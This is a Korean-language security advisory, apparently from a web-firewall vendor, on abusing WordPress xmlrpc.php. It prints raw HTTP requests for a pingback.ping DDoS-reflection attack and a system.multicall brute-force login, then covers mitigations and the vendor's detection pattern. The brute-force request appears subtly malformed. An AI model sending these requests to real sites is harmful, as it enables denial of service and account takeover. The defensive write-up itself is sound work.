1. 개요
WordPress의 xmlrpc.php 파일은 HTTP가 전송 메커니즘으로 작동합니다. XML이 인코딩 메커니즘으로 작동하여 데이터를 전송할 수 있는 WordPress의 기능입니다. 다른 시스템(다른 블로그 or 앱)과 통신하기 위한 작업을 처리하기 위해 만들어진 파일로 해당 xmlrpc.php 파일을 통해 pingback 및 brute-force 공격을 실행 할 수 있습니다.
- pingback = 누군가 자신의 글을 인용했을 때 원본 글로 핑을 전송하는 기능
- brute-force = 무차별 대입 공격
2. 공격 과정
1) xmlrpc.php 활성화 확인
/xmlrpc.php
WordPress 호스트에서 GET 요청- 경우에 따라 경로는
/wordpress/xmlrpc.php
또는/wp/xmlrpc.php
- 서버로부터 "XML-RPC server accept POST requests only."라는 응답을 받는 경우. 이는 취약한
xmlrpc.php
파일이 활성화되었음을 의미
2-1) pingback 공격
POST /xmlrpc.php HTTP/1.1
Content-Length: 258
Content-Type: application/xml; charset=utf-8
Host: xxx.com
User-Agent: HTTPie
<?xml version="1.0" encoding="iso-8859-1"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>https://victim.com</string></value></param><param><value><string>http://xxx/sample-page/</string></value></param></params></methodCall>
- pingback을 이용한 DDoS 공격을 시도하여 서버를 오프라인 상태로 마비 시킬 수 있습니다. xmlrpc.php의 기능이 공격자에게 DDoS 공격을 할 수 있는 경유지로 이용되며 서버 속도 및 가용성에 영향을 끼칠 수 있습니다.
2-2) brute-force 공격
POST /xmlrpc.php HTTP/1.1
Content-Length: 239
Content-Type: application/xml; charset=utf-8
Host: xxx.com
User-Agent: HTTPie
<?xml version="1.0" encoding="iso-8859-1"?><methodCall><methodName>system.multicall</methodName><params><param><value><string>testid</string></value></param><param><value><string>testpasswrod/</string></value></param></params></methodCall>
- 무차별 대입 공격으로 WordPress admin으로 추정되는 아이디로 로그인 시도를 합니다. WordPress 관리자 페이지 주소가 정해져 있기에 수백 가지 서로 다른 암호를 대입해 해당 사이트를 해킹하려고 할 수 있습니다.
3. 대응
서버의 경우 설정 파일 통해 대응이 가능 합니다. 또한 관련 플러그인을 통해 대응이 가능합니다.
저희 AIWAF 제품에서는 <Wordpress xmlrpc.php DoS> 패턴으로 해당 취약점을 악용한 공격 구문을 탐지합니다.
4. 결론
비교적 대응이 쉬운 취약점이지만, Wordpress를 활용한 다양한 웹 서비스가 많아 그에 따른 파급력이 커 빠른 대응이 필요하여 이에 따른 업데이트도 계속 나오기 때문에 주기적으로 점검 및 업데이트가 필요합니다.
저희 AIWAF 제품에서는 Wordpress xmlrpc.php 관련 취약점들에 대해 패턴을 다수 개발하여 대응하고 있으며, 앞으로도 발견되는 Wordpress xmlrpc.php 관련 취약점들에 대해서도 신속하게 대응할 예정입니다.